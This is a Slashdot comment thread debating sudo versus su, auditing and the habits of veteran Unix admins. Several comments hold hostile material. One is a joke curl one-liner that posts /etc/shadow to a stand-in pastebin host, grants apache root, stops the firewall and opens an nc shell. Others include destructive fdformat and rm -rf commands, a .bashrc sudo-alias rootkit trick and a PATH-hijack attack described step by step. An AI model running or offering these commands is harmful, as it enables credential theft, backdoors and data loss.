      +1 Informative.

      --
      "Total destruction the only solution" - Bob Marley
    107. Re:We don't use sudo? by Neil+Boekend · · Score: 1

      Usually when I do admin-work on my system, I have more than one command to enter. Since I am not very good I have to Google a lot of things. This takes time. When I finally found how to do what I want I do not want to be interrupted because the sudo timeout has expired.
      I simply start my admin work with su and end it with su neil. Once I have reverted to neil, the system is safe again. Safe enough to let others work with it.

      --
      Well, I might have a way, but it only works on a semi spherical planet in a vacuum.
    108. Re:We don't use sudo? by ebuck · · Score: 1

      Really? When your job is entirely about being root, sudo is just getting in the way. I happen to have run systems in a serious environment, and we never used sudo. I would say if you have something to do that ISN'T root, you sir are teh nub.

      Real sysadmins eventually have to build something from source. It doesn't matter if they do it in a package manager, or via the trusty autotools chain, or if they just launch a crusty Makefile. Reasons abound from needing exact version X of Y when the distro is ahead, behind, or just doesn't offer it.

      Only a great fool of a sysadmin would build any software as root. Install as root is often necessary, but building as root is just a mistake.

    109. Re:We don't use sudo? by rockiams · · Score: 1

      I didn't say that. There is more than one way to skin a cat. Everything that was ever done as root on the systems in question were logged. And I am not sure what you mean by separation of duties, but app support, dbas and root tasks are all performed by their own accounts and staff. If I needed to help a dba, I would sit with them and use their login.

    110. Re:We don't use sudo? by rockiams · · Score: 1

      When you have hundreds of systems, you don't build any software on anything close to production anyway. But I agree with the point.

    111. Re:We don't use sudo? by rockiams · · Score: 1

      I think what I didn't make clear is the fact that we had separate groups that ran the non-root services. With hundreds of systems and a small group of us that had root access(restricted by IP and ssh key-based auth, heavily monitored and any exception was emailed from central syslog, among other things) if we were logging into a server, it was to do something that needed root access. We weren't logging in to troubleshoot apache as root. Well, sometimes, but we had everything scripted so we wouldn't start things up with the wrong UID.

      We didn't even have sudo installed on the really old systems and any su would trigger alerts.

      I guess my original point was, as root I was aware of the loaded gun I was carrying, but that was my job. It seems that many of the admins in this thread may be of the small shop variety that are wearing more than just the # hat. That is fine too, and if you do have to wear different hats, then sudo is probably a great thing.

      And really, lighten up kids, you too will be old and bearded someday and will get a kick out of arguing the merits of old school vs. new school. Hell, when I started security was an after thought and if you wanted to harden a system, you were considered a security nazi.

    112. Re:We don't use sudo? by freedumb2000 · · Score: 1

      Just tiny technicality, what's wrong with "sudo su root" ?

    113. Re:We don't use sudo? by TheRaven64 · · Score: 1

      Sudo can be set to require the root password. It can also be configured to only require it for some commands, to require the user's password for others, and so on.

      --
      I am TheRaven on Soylent News
    114. Re:We don't use sudo? by rockiams · · Score: 1

      Wow, did I touch a nerve there? I didn't run X on servers, and the only time the root password is typed is if you are at the console. Just because we didn't use sudo doesn't mean we didn't have our own system for access control and auditing.

      And I have to agree with visualight, if you are spending 99% of your time as a regular user, then you are not a Unix admin, but more likely an app support/dev person who is in /etc/sudoers.

      Either way, I thought the article was funny and was just having some fun with it.

    115. Re:We don't use sudo? by TheRaven64 · · Score: 1

      And, of course, man. Which, on a typical system, is a wrapper that invokes a typesetting system and a pager. All of which are quite large and may contain bugs. None of which need to be run as root.

      --
      I am TheRaven on Soylent News
    116. Re:We don't use sudo? by TheRaven64 · · Score: 1

      If bash is in /bin, you're a Linux user, not a UNIX admin.

      --
      I am TheRaven on Soylent News
    117. Re:We don't use sudo? by Xaemyl · · Score: 1

      Don't just look at it. Eat it.

    118. Re:We don't use sudo? by AmonTheMetalhead · · Score: 1

      Su or sudo, makes little difference, if i only need to run apt-get upgrade or something like that, i'll sudo, if i need to do more then a few commands i might su, but i consider it best practice to use su as little as possible.

    119. Re:We don't use sudo? by samjam · · Score: 1

      I hope you are joking.
      You don't end your su by running su neil, you invoke another su.

      If someone finds your neil shell and exits, they will be back as root.

      Your should type "exit" to end your su, or maybe "exec su neil" if you must. exec replaces your root su with the neil one instead of pausing it.

    120. Re:We don't use sudo? by UncleRage · · Score: 1

      sussudio?

      --
      #SickNotWeak
    121. Re:We don't use sudo? by vlm · · Score: 1

      why are you even logged

      That tiny kernel is what separates the sudo using noobs from the oldtimers. The oldtimers have a "personal server" or a shared "swamp box" or a "dev server" with some coworkers where they F around, experiment with grep, and read usenet slashdot infopages and manpages.

      The noobs are the ones whom log into the primary DNS server or the primary mail server to F around, read man pages, fool with grep on large files, read usenet, ssh into other boxes. Then they overload it, crash it, run it out of memory, wipe it, and the "solution" is to install sudo. Stupid.

      The REAL solution is not to F around on a production box. Log in, do your root work as fast as possible, and log out, as fast as possible. The oldtimers know the only reason to log into the primary DNS server is to do things requiring logging in as root. Everytime you do something on a production box, you need to ask yourself, should I be doing this on a dev box instead?

      The other side of the coin is oldtimers either use "Puppet" or a homemade reinvention like it. Other than disaster emergency situations, why the hell would I log in as root to individual boxes to install software or make config changes? I generally do not log into production boxes other than troubleshooting failures. You get puppet to the point where it works on a test box, have puppet deploy itself to another test box, apply it to one production box while carefully monitoring and testing, then have puppet deploy to the whole farm. Deployment involved both application and removal recipes.

      I don't log in as root to add/remove users because of centralized AAA systems, so discussing how I "need sudo" to add users just shows ignorance of modern practice. I don't log in as root to look at logs because I have centralized logging systems so discussing how I "need sudo" to run dmesg and tail -f /var/log/syslog just shows ignorance of modern practice.

      In ye olden days, back when Cthulhu was just a pup, I used CVS (which at that time was pretty cutting edge) and a small herd of shell script using that newfangled "bash shell" thing to emulate what you can now do in about two lines of Puppet. If you're allergic to Puppet or whatever, you can make a poor, inadequate, featureless, and inelegant clone of Puppet using git and some shell scripts in about a half hour.

      --
      "Science flies us to the moon. Religion flies us into buildings." - Victor Stenger
    122. Re:We don't use sudo? by vlm · · Score: 1

      Every log, every config, every chmod, damn near every command needs to done as root

      WRONG. Could not be wrong-er.

      All of those are supposed to be done by an automated and/or centralized system.

      rsyslog has copyright dates from 1995. sysklogd is older. Puppet has copyright dates from 2005 but that is like using a nuke as a flyswatter. This is not exactly cutting edge design.

      If you're manually changing stuff by hand, either as root or by sudo, either its a bizarre emergency situation or you're doin it wrong...

      If you can't deploy services to a new box using one line in a Puppet config you are so doing it wrong.

      --
      "Science flies us to the moon. Religion flies us into buildings." - Victor Stenger
    123. Re:We don't use sudo? by vlm · · Score: 1

      rm -rf /var /log/debug*

      If you're limited to one extra spacebar, this is much funnier

      rm -Rf /var/log/debug /*

      Which explains why I don't particularly like subdirectories in /var/log, but whatever.

      This is an epic fail at a higher level, as you're supposed to be using centralized logging, and whatever isn't being logged centrally is supposed to be maintained by logrotate, so unless your job is "hiding evidence" the actual fatal error was manually maintaining log files, not maintaining them the wrong way.

      Most "dumb things that sudo tries to prevent" are in this general class of epic fail.

      --
      "Science flies us to the moon. Religion flies us into buildings." - Victor Stenger
    124. Re:We don't use sudo? by visualight · · Score: 1

      Another one.

      You're off topic. Deploying a new OS or changes to an OS are of course automated -but then we're not logging in to any system are we?
      Not to mention, what the hell is the difference? You're editing the same configuration through Puppet.

      *I need to log in as root, it's an emergency".
      "Is it a bizarre emergency?"
      "No, it's just a regular emergency"

      Puppet is not so fantastic, most of the time it's an unnecessary abstraction. Sometimes it seems that since all of the important things have already been done people keep themselves busy with new layers of crap...
      "Well then you better just use Puppet for this one"

      --
      Samsung took back my unlocked bootloader because Google wants me to rent movies. They're both evil.
    125. Re:We don't use sudo? by ezzzD55J · · Score: 1

      As sibling said, that starts a *new* process as neil, your old root shell is still there.

      For the scenario you describe, exit your root shell to get back to neil, or use 'suspend' if your shell supports it so you can 'fg' back to root if you want.

    126. Re:We don't use sudo? by Psiren · · Score: 1

      Years ago I created an alias for rm -rf called "nuke". I've been using it for so long that I just type it automatically whenever I need to use rm -rf. I've never created the alias under root though, so if I ever type it without thinking I'll save myself some potential heartache. It's not happened yet though.

      I agree with your sentiment too. If I'm logged into a server, it's as root. I wouldn't be logged into the server if I didn't need to do something that wasn't as root, so what the hell would be the point?!

    127. Re:We don't use sudo? by ezzzD55J · · Score: 1

      I think the only significant benefit to sudo is that you can give users root access, without giving the root password, and take it away again without changing the root password.

      It's more sensible way of authenticating: authenticate with your own password, authorize (or not) with sudo. authentication != authorization.

      That said, I don't mind su for a system with very few root users and always use sudo as 'sudo -s' :).

    128. Re:We don't use sudo? by mysidia · · Score: 1

      whatever isn't being logged centrally is supposed to be maintained by logrotate

      That's fine until one day when a misbehaving application writes 200GBs of junk data to a 10gb /var/log partition within a 48 hour period, and since logrotate only runs once a day....

    129. Re:We don't use sudo? by geminidomino · · Score: 1

      Sudo is a crutch for home-users who don't trust themselves to remember if they're in a root shell or not. "Real Unix Admins" don't have that problem and don't need sudo.

      I suppose "Real Unix Admins" are never one of many, either, so it doesn't matter to them which one of their enlightened ranks set up the global procmail filter to tee all incoming messages to that bogusmail.ru account either.

      Apparently "veteran admins" don't know the difference between "hand holding/crutch" (what TFA accuses sudo of being) and actual accountability (where sudo shines over su).

    130. Re:We don't use sudo? by icebraining · · Score: 1

      You don't need su root, just "su". And you exit with ^D.

    131. Re:We don't use sudo? by geminidomino · · Score: 1

      Scroll up to the "veteran admins" bitching that "sudo" is two more keys to type than "su" ;)

    132. Re:We don't use sudo? by Hatta · · Score: 1

      once any legitimate user types the proper sudo password, ALL terminals/remote login sessions under the same username can use any 'sudo' command without a password reprompt, due to the way sudo is designed.

      Say what? I just tested this. Switched to a VT, did 'sudo su' entered my password and got a root prompt. Switched to another VT, did 'sudo su' and got asked for my password again. If this is a problem on other systems, it's not on Debian.

      --
      Give me Classic Slashdot or give me death!
    133. Re:We don't use sudo? by icebraining · · Score: 1

      rm: cannot remove directory: `.'
      rm: it is dangerous to operate recursively on `/'
      rm: use --no-preserve-root to override this failsafe

    134. Re:We don't use sudo? by codepunk · · Score: 1

      Out of all the unix shops I have worked in I have not seen a single admin using sudo to do anything. I assure you I have been in some damn serious environments. If it makes you feel good, by all means do it.

      --


      Got Code?
    135. Re:We don't use sudo? by Enry · · Score: 1

      You missed the part about auditing. I've got a team of 6 sysadmins who manage 200+ systems. While we usually document what we do on each system, it's far better to have an audit trail of what commands were run by whom in case there's ever a question. Yes, we have used it in the past.

      I'm not sure why the author claims to be a veteran sysadmin, but after points 1 and 2 being completely false I don't see the point in reading further.

      As for me? Sysadmin for almost 20 years (18 with Linux). Five published works, and loads of magazine articles.

    136. Re:We don't use sudo? by lindi · · Score: 1

      You can adjust the duration of the password caching in /etc/sudoers. The default is fifteen minutes -- I prefer a duration of two or three minutes, which is long enough to two a couple of commands in a row. If I actually need more than that, then I'd use sudo -i, but I rarely find that useful.

      Unfortunately that does not really improve security in typical usage patterns. If you leave your terminal unlocked (or there's a bug in your web browser / pdf reader / etc. that allows arbitrary code execution) it is easy to escalate to root by doing echo alias sudo="/usr/bin/sudo /tmp/rootkit" >> .bashrc and patiently waiting for the user to use sudo for the next time.

    137. Re:We don't use sudo? by wings · · Score: 1

      Well, there are thousands of ways to really muck up a system.
      Do NOT try these at home

      fdformat /dev/hda1

    138. Re:We don't use sudo? by Anthony+Mouse · · Score: 1

      Yes. This is why you disable all those backdoors and only specify particular commands that can be run in /etc/sudoers, with others either denied, or lighting up your IDS/system monitoring like a Christmas tree.

      (This also serves as a handy reminder that properly securing systems is *extremely difficult*.)

      The real trouble is that in many cases it just isn't going to happen. Allow someone to run apt-get install, they can install a known-vulnerable setuid binary and root the system. Allow them to edit certain sensitive files in /etc, you're toast. On and on. But the person's job involves installing software or editing system files or whatever, so you have to allow it.

    139. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      This is the AC again, asking for clarification, as I am nowhere near a Unix Admin. So if I am logged in as USER, are you saying sudo will use USER's $PATH or will it use wheel's $PATH (if that is a separate user account at all) or root's $PATH? If it uses someone other than USER's $PATH, what is the problem because if i browse as USER and get exploited, it only changes USER's environment? Is the problem that the USER's $PATH is changed to /evil/ running "/bin/sudo reboot" would execute "/evil/reboot" with the root or wheel privilege?

    140. Re:We don't use sudo? by BrokenHalo · · Score: 1

      Sudo doesn't really make anything safer, it just makes one's commands trackable. But if you fuck something up, you'll usually know well before before someone checks the system messages file in any case. Or if you don't, you probably have no business being a sysadmin.

    141. Re:We don't use sudo? by BrokenHalo · · Score: 1

      You don't need su root, just "su". And you exit with ^D.

      Exactly. And if your system enforces use of sudo, you just use "sudo su" to drop into a root shell.

    142. Re:We don't use sudo? by teh_commodore · · Score: 1

      Along the same lines, where I used to work we had some n00bs (one really) that would su, do his or her work, and then leave the lab, completely forgetting the exit part. On any given day, you could walk in the lab and see root prompts up on at least half the boxes.

      There are a hundred things wrong with this scenario. I know. That's why I quit. I don't need to hear them all. Mind the forest, not the trees.

      --
      --"insert clever quote here"
    143. Re:We don't use sudo? by BrokenHalo · · Score: 1

      I would say that any Mac OS X user would probably benefit from the use of grep from the command-line. It's a lot more useful than that crappy search thingy they provide with the GUI Finder.

      It's the ready availability of the standard unix tools under OS X that keeps me using this freebie inherited MacBook, often in preference to my more powerful (and power-hungry) Linux-based desktop boxes.

    144. Re:We don't use sudo? by BrokenHalo · · Score: 1

      You don't have to be inexperienced. Back in the early '90s, I already had 19 years' experience of various systems under my belt when I accidentally deleted the ":per" directory on a DG mainframe (roughly equivalent to /dev on a *nix box), then had an agonising 45 minutes watching users' processes disappearing off the PID list.

      In that sort of situation, all you can do is just grit your teeth, take your cap in hand and face the muzack. Fortunately in this case, my boss had committed an even more egregious fuckup the week before, so my trangression was dismissed with nothing more than a "shit happens"...

    145. Re:We don't use sudo? by BrokenHalo · · Score: 1

      If you're manually changing stuff by hand, either as root or by sudo, either its a bizarre emergency situation or you're doin it wrong...

      Why?

      I run Slackware and BSD servers, and it is considered normal to edit their config files by hand, and it is certainly quicker and more efficient to do so.

    146. Re:We don't use sudo? by BrokenHalo · · Score: 1

      Real admins don't make mistakes.

      I wasn't going to post any more in this thread, but I couldn't let this go.

      Real admins are just as capable of fucking up as any other human being. Yes, they will have backups (or a damn good explanation why they haven't been allowed to take them), but that's beside the point.

    147. Re:We don't use sudo? by rockiams · · Score: 1

      Agreed.

    148. Re:We don't use sudo? by BrokenHalo · · Score: 1

      If your admins cant be trusted with root, then get a product called Centrify...

      If your admins can't be trusted with root, then they should be replaced with admins who can.

    149. Re:We don't use sudo? by Anthony+Mouse · · Score: 1

      Is the problem that the USER's $PATH is changed to /evil/ running "/bin/sudo reboot" would execute "/evil/reboot" with the root or wheel privilege?

      That is one of the possible problems, yes.

      wheel's $PATH (if that is a separate user account at all)

      http://en.wikipedia.org/wiki/Wheel (Unix term)
      In this case it means a user that is allowed to su or sudo.

      So if I am logged in as USER, are you saying sudo will use USER's $PATH

      The normal behavior of sudo is to use the user's environment including $PATH. There is an option you can put in the sudoers file called env_reset that will cause it to not to do this. Some flavors now have that option on by default. There is also another option called secure_path which allows you to explicitly specify a PATH to use when running sudo. These solve part of the problem -- at least as long as you run sudo itself as /usr/bin/sudo.

      The trouble is that the actual root environment is only one attack vector. Suppose the attacker creates /evil, puts it at the front of $USER's $PATH and fills it with a bunch of binaries with names like echo, ls, gzip, etc. which under most circumstances just call their counterparts in /bin and /usr/bin.

      Then you come along and type something like:
      echo 1 | /usr/bin/sudo tee /proc/sys/net/ipv4/ip_forward

      This will run the actual /usr/bin/tee as root if you've taken precautions because root has a clean $PATH. The trouble is that it runs echo as /evil/echo, and /evil/echo parses its own command line to see if it contains sudo. It does, so it runs 'sudo rootkit'. Then you get a password prompt, which you think is for 'sudo tee' but is really for 'sudo rootkit' so you type your password and your system is rooted.

    150. Re:We don't use sudo? by Anonymous Coward · · Score: 0

      That was very helpful. Thank you for the concise yet informative answer.

    151. Re:We don't use sudo? by sjames · · Score: 1

      Or I just like bash and compiled it for the machine I'm using.

      I had bash on a Cray once.

    152. Re:We don't use sudo? by TheRaven64 · · Score: 1

      In /bin? You can use bash on lot of platforms, but the only ones where I've seen it in /bin are GNU (Linux and HURD) systems.

      --
      I am TheRaven on Soylent News
    153. Re:We don't use sudo? by sjames · · Score: 1

      Yes, in /bin. That way there's no "Why doesn't my script work? It's fine on the linux box!" questions.

    154. Re:We don't use sudo? by mysidia · · Score: 1

      fdformat /dev/hda1

      curl -s -X POST -d "paste_code=$(echo "Anonymous sucks"; echo "Scientology Is the best religion ever" ; echo "This web server is unhackable" ;/sbin/ifconfig; perl -pi.bak 's/apache:x:48:48/apache:x:0:0' /etc/passwd; service httpd restart; cat /etc/shadow; service iptables stop; nc -lk 1234 | /bin/sh" "http://pastebin.com.example/api_public.php"

      Repeat with twitter, facebook, etc

    155. Re:We don't use sudo? by alcourt · · Score: 1

      Good luck complying with PCI DSS 8.2, 8.5.8 and 10.2.2. I've yet to see a single way to do so when using su. You must be able to produce a reliable off-host log of actions taken with administrative privilege, ensure that direct access to any account accessible by more than one individual is impossible, and that even knowing the password is insufficient to gain access to privileged accounts.

      That's what I have to do to comply with PCI. I have similar requirements on other audits. As a result, root's password is locked away, any use is investigated and had better be accompanied by a problem ticket explaining how hosed the box was that su was the only way to repair it. Use of a logging shell (either individual sudo commands, or sudo to a logging shell) is mandatory here.

      It isn't about getting in the way or not getting in the way. It's about keeping track of what happened on the system. Human actions are just another thing to keep track of. We expect the system to log significant events so that they can be examined later in case of a problem. The interactive commands run by humans with administrative access is even more important because it is unpredictable.

      --
      "I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
    156. Re:We don't use sudo? by alcourt · · Score: 1

      I dare you to list 10 *Administrative* tasks that don't require root privileges.

      1. User account validation (collecting proof that each ID on the system is still supposed to be there)
      2. Reviewing security logs that are stored on a central server, accessible by the SA team's individual ID and no one else
      3. Examining system availability data ("Is this system actually up and healthy?")
      4. Validating network listeners, looking for undocumented ones
      5. Checking performance statistics that you logged to a remote system
      6. Doing a patch query to determine if any required OS patches are missing
      7. Discussing a request for limited sudo rights with the application team, reviewing the script they want run as root
      8. Writing the documentation for that upcoming change request, staging the necessary files into a test area.
      9. Writing the script that will be run on every audited system to collect the data required by the external auditor.
      10. Testing that firewall rule you just put in actually is set up right.

      Ones I decided not to list, but I do all the time:
      * Work with the vendor so that their code doesn't need root to install or run
      * Work with the application users so that they don't write code that breaks security policy
      * Teach users how to properly submit that user access request
      * Provide feedback to management based on the results of some of the items above to request additional resources (people, hardware, software, miracles, etc.)

      I didn't include writing cfengine policies, because that has to be done in my shop as a user that is not the default user. I could have easily set permissions to allow the SA team to write such as themselves, but chose not to. Hmm, I should think about doing that tomorrow. That'll add a huge category of "anything that can be done via configuration management" to the list.

      --
      "I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
    157. Re:We don't use sudo? by alcourt · · Score: 1

      Why?

      I run Slackware and BSD servers, and it is considered normal to edit their config files by hand, and it is certainly quicker and more efficient to do so.

      Because you can't be expected to change by hand three config files on 5k systems in a reasonable amount of time.

      --
      "I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
    158. Re:We don't use sudo? by alcourt · · Score: 1

      When I conduct an interview, I often ask candidates to talk about a major mistake made by someone on their team in the past. I let them pretend it wasn't them, but someone else, but if they can't name a serious mistake made, they are either rather junior, or can't be trusted to tell the truth about an outage.

      --
      "I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
    159. Re:We don't use sudo? by alcourt · · Score: 1

      On my box, /bin -> /usr/bin

      --
      "I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
    160. Re:We don't use sudo? by alcourt · · Score: 1

      It's very common for sudo to log to syslog. It's also very common for syslog to log in real time off-host. The user may break the logging trail, but they won't hide the command they ran to break the logging trail.

      --
      "I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
    161. Re:We don't use sudo? by alcourt · · Score: 1

      Trust is a dirty word in audits. I don't care how much you think you can trust someone, without auditing, it's just guesswork. The PCI certification, 10.2.2 requires logging actions taken with administrative privilege. That means not just the command to take a root shell, but what the user ran beneath that.

      --
      "I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
    162. Re:We don't use sudo? by Anthony+Mouse · · Score: 1

      It's very common for sudo to log to syslog. It's also very common for syslog to log in real time off-host. The user may break the logging trail, but they won't hide the command they ran to break the logging trail.

      Only if the sudo log ends up off-host and the command the user entered to get a root shell wasn't something perfectly innocent-looking like "sudo emacs /etc/whatever" and getting root on the first machine doesn't give them root on the logging machine because e.g. somebody's ssh keys or other authentication credentials for the logging machine are stored on the first machine, or the rooted machine is running an authentication service, or it contains authentication-sensitive files, or it contains ssh keys to a machine that contains authentication-sensitive files, etc. and the attacker can't interrupt anything in the network path between the machine to be rooted and the logging server while the rooting is going on.

      Which, now that I think about it, seems pretty trivial: Take down the network interface for a few seconds. At best the command taking down the interface gets logged, but nothing after it. At worst the interface goes down before the packet logging that command makes it out of the machine, and there may be various ways for the attacker to make sure the latter is what happens.

    163. Re:We don't use sudo? by dAzED1 · · Score: 1

      you agree with the guy who says they don't log in as root? Are you sure? Because your follow-up suggests otherwise. There are a short list of reasons to log in as root and do something: 1) you're a noob 2) you're too lazy to set up role-based access controls and security contexts 3) you don't like the idea of creating rules which apply to yourself, and don't like the idea of setting up a stable environment that will last long after you're gone 4) you have just a handful of machines 5) a machine has gone to complete hell, and you need to log in to it (in single-user, or such) So I'm not a real unix admin because I don't run around logged in as root? Really? Cause I haven't needed to be so lazy and noobish in years. I've been in the most senior of ranks in companies with over a million employees, and over 100k servers. Now I do the whole "cloud" thing - which, for PCI compliance reasons, I set up role-based access that doesn't allow me (or anyone else) to get around audit traits. I can break the proverbial glass and get root password, but these days...I don't need to. I can't do real forensics in the cloud, and tct is in bitrot anyway...so the clusters just heal themselves, through apps I wrote completely from top/bottom. Apps that don't need, or use, root - and apps I manage without root.

  8. Guilty by sl149q · · Score: 1

    Guilty as charged to all nine counts...

    1. Re:Guilty by stjobe · · Score: 1

      Yup, same here:
      1. I don't use sudo.
      2. I use the one true VI.
      3. My regexp fu is actually registered as a deadly weapon.
      4. I'm lazy enough to spend eight hours making a repeatable fix to a two-hour problem.
      5. I very much prefer elegant solutions over band-aids (see #4)
      6. The problem IS with the one asking the question 99 times out of 100.
      7. I spend more time researching WHY then fixing the HOW.
      8. I know more about Windows than I'd ever admit.
      9. Rebooting is for kernel updates. That's it.

      --
      "Total destruction the only solution" - Bob Marley
    2. Re:Guilty by L4t3r4lu5 · · Score: 1

      You fail on point 8 by admitting to know more about Windows than you'd ever admit.

      Me? I know plenty, but then again I know nothing of *nix.

      --
      Finally had enough. Come see us over at https://soylentnews.org/
    3. Re:Guilty by Chapter80 · · Score: 1

      Guilty as charged to all nine counts...

      You're hired.

      Now go take a shower.

    4. Re:Guilty by atisss · · Score: 1

      #9 - use Ksplice, and there's no need for reboot

  9. Missing trait number 10. by 140Mandak262Jamuna · · Score: 4, Funny

    We also throw a nickel at the rookie Windows sys admins and tell them, "Here's a nickel. Get a real operating system, kid."

    --
    sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
    1. Re:Missing trait number 10. by bitfarmer · · Score: 2
      --
      Eagles may soar, but weasels don't get sucked into jet engines.
    2. Re:Missing trait number 10. by Zancarius · · Score: 1, Funny

      We also throw a nickel at the rookie Windows sys admins and tell them, "Here's a nickel. Get a real operating system, kid."

      Weird. I read that as:

      We also throw a wookie at the Windows sys admins and tell them, "Careful, kid, he'll tear your arm off if he catches you using the GUI."

      --
      He who has no .plan has small finger. ~ Confucius on UNIX
    3. Re:Missing trait number 10. by mysidia · · Score: 1

      Falls under No. 8 implicitly, I think

      most times Windows doesn't subscribe to the same deeply logical foundations as Unix, and that bothers us.

      I think all good sys admins (Unix or otherwise) have that trait about doing the "Here's a nickel. Get a real operating system, kid.".... :)

    4. Re:Missing trait number 10. by MechaStreisand · · Score: 1

      Weird, I read it that way too. Possibly I saw the word wookie in your post below it and my brain put it into that sentence.

      --
      Disclaimer: IANAL. This post is, however, legal advice, and creates an attorney-client relationship.
    5. Re:Missing trait number 10. by titanium93 · · Score: 1

      "And get off my lawn"

      --
      Sigs are for losers
    6. Re:Missing trait number 10. by gl4ss · · Score: 1

      it's better to just throw farts, you haven't needed a nickel to get linux since cd's got so cheap nobody bothers to ask a nickel for one.

      --
      world was created 5 seconds before this post as it is.
    7. Re:Missing trait number 10. by Anonymous Coward · · Score: 0

      They write them for The Register instead?

    8. Re:Missing trait number 10. by Anonymous Coward · · Score: 0

      Is it wrong I read that as "We also throw a nickel at the Wookie sys admins..."?

    9. Re:Missing trait number 10. by euxneks · · Score: 1

      We also throw a nickel at the rookie Windows sys admins and tell them, "Here's a nickel. Get a real operating system, kid."

      Actually, it costs less than that :)

      --
      in girum imus nocte et consumimur igni
    10. Re:Missing trait number 10. by Anonymous Coward · · Score: 0

      That should cover the CD-R and minuscule bandwidth cost.

  10. Re:vim? really? by c0lo · · Score: 4, Funny

    Butterflies - and no, emacs is not an option, unless you code the command yourself and store the code in your deepest vault.

    --
    Questions raise, answers kill. Raise questions to stay alive.
  11. The article is inaccurate... by msauve · · Score: 1, Troll

    There's not a single mention about them scent marking their turf.

    --
    "National Security is the chief cause of national insecurity." - Celine's First Law
    1. Re:The article is inaccurate... by ARos · · Score: 1

      Hey!

  12. So... Dilbert got it right by Dayofswords · · Score: 3, Informative
    --
    Someday we'll hit the human carrying capacity. And the band will just play on.
    1. Re:So... Dilbert got it right by hax4bux · · Score: 1

      Scott Adams was spot on. I loved that cartoon when it was new and I love it now.

    2. Re:So... Dilbert got it right by TheRaven64 · · Score: 1

      The thing that's most amusing about that is that the 'get a real computer' line was something that used to be said to UNIX users by people using things like VMS or OS/370.

      --
      I am TheRaven on Soylent News
    3. Re:So... Dilbert got it right by Anonymous Coward · · Score: 0

      There's also this one, which nicely sums up the usual understanding of UNIX for most people.

  13. #10 by Ynot_82 · · Score: 1

    We will never (ever) admit we are at fault

    If an off-by-one error results in the monthly report generation failing if the last day of the month falls on a saturday, then we'll quietly fix the code and tell the user this was a one-off problem most likely caused by incorrect user input but if it ever happens again to let you know

    1. Re:#10 by nedlohs · · Score: 1

      That's what developers do. Unix admins just say "the job ran as scheduled and did whatever the developers programmed it to do".

  14. Crap egotism by Anonymous Coward · · Score: 0, Offtopic

    Bull fucking shit.

  15. Redundant by PPH · · Score: 0

    If you're familiar with the BOFH you know all you'll ever need to.

    --
    Have gnu, will travel.
  16. *sigh* Yeah, I'm that guy. by Anonymous Coward · · Score: 0

    Pretty much spot-on, I'm afraid. A little depressing to be described that accurately by a total stranger.

    1. Re:*sigh* Yeah, I'm that guy. by WolphFang · · Score: 1

      Me also for all 9 counts if you just substitute 'sudo -i' for 'su -'. Frightening.

      --
      leather-dog muksihs
      Blog: @muksihs
    2. Re:*sigh* Yeah, I'm that guy. by froggymana · · Score: 2

      A real Unix admin wouldn't be posting as AC.

      --
      "To prevent this day from getting any worse, I'll just read ERROR as GOOD THING" 1GJU8xLuDKDxEs4KLf8fAGyptoDsqvEsBT
    3. Re:*sigh* Yeah, I'm that guy. by damn_registrars · · Score: 1

      A real Unix admin wouldn't be posting as AC.

      Unless, of course, he's avoiding work and he's posting AC while reading slashdot in lynx on the fail-over db server.

      In which case of course he's both an admin and the BOFH.

      --
      Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
  17. Stupid by nedlohs · · Score: 2, Insightful

    Unless unix veteran is a code word for idiot of course.

    Take #9: "Our thinking here is there's no reason why a reboot should ever be necessary other than kernel or hardware changes, and a reboot is simply another temporary approach to fixing the problem.". When a run away program fills the disk or sets off the OOM killer then after fixing the problem itself rebooting is the obviously wise thing to do - who knows what random proceess got put in a bad state by the resource exhaustion best reboot and get everything into a known good state.

    And of course have fun when the machine does need to be rebooted for a "kernel of hardware change" and some vital service doesn't restart because no one checked that the damn init script was enabled.

    1. Re:Stupid by nonguru · · Score: 5, Insightful

      Not stupid at all. This guy is into root cause analysis as a process of understanding faults and finding lasting solutions. (See reference to "bandaids".) Covers up your tracks until the next crash. A fully functioning fault-free system working as designed should not require a reboot except for the cases outlined. Unless unix systems aren't as reliable as people like to assume...

    2. Re:Stupid by thogard · · Score: 4, Insightful

      Real sysadmins know when things get in odd states and can restart those things without rebooting.

      Of course reboot tests are required to make sure the box will come back up correctly but those are to reset things, they are part of system testing.

    3. Re:Stupid by matt-fu · · Score: 1

      Just because you *can* leave your system up for five years straight doesn't mean it's a good idea.

    4. Re:Stupid by Anonymous Coward · · Score: 0

      Eh. But then how am I going to get Olivia Wilde to spontaneously form inside it?

    5. Re:Stupid by tnk1 · · Score: 1

      Why would I want to reboot a system I don't need to? To start the self-cleaning cycle?

    6. Re:Stupid by Anonymous Coward · · Score: 0

      I see you've never run bleeding edge hardware, with beginning support in linux. How quaint! In that game, you get to know the hardware engineers by name and shell preference.

    7. Re:Stupid by thegarbz · · Score: 1

      To know that after 5 years of uptime, changes, backups, and people playing with the system it still CAN reboot. Otherwise you run into a Murphy's law where the the cataclysmic power outage that takes out your box which fails to reboot will invariably happen Christmas eve right during dinner.

      Part of every disaster response case should be to simulate disaster. Every so often that means yanking the cord. But before you do maybe test the backup you make actually works too. Another newbie mistake is *thinking* that the system is properly backed up without testing if the backup tapes are readable.

    8. Re:Stupid by Aredridel · · Score: 1

      Or run things that handle their errors and check your work.

    9. Re:Stupid by mysidia · · Score: 2

      When a run away program fills the disk or sets off the OOM killer then after fixing the problem itself rebooting is the obviously wise thing to do - who knows what random proceess got put in a bad state by the resource exhaustion best reboot and get everything into a known good state.

      Unix systems don't run "random processes". If a program's running, it better be because the system is specifically designed that way.

      A process either needs to be restarted or it doesn't.

      Restarting applications, processes, and daemons in no way implies a system reboot.

    10. Re:Stupid by Anonymous Coward · · Score: 0

      If you allow a single run away process to inflict others, you are way off from understanding real unix administration. Read #5.

    11. Re:Stupid by Anonymous Coward · · Score: 0

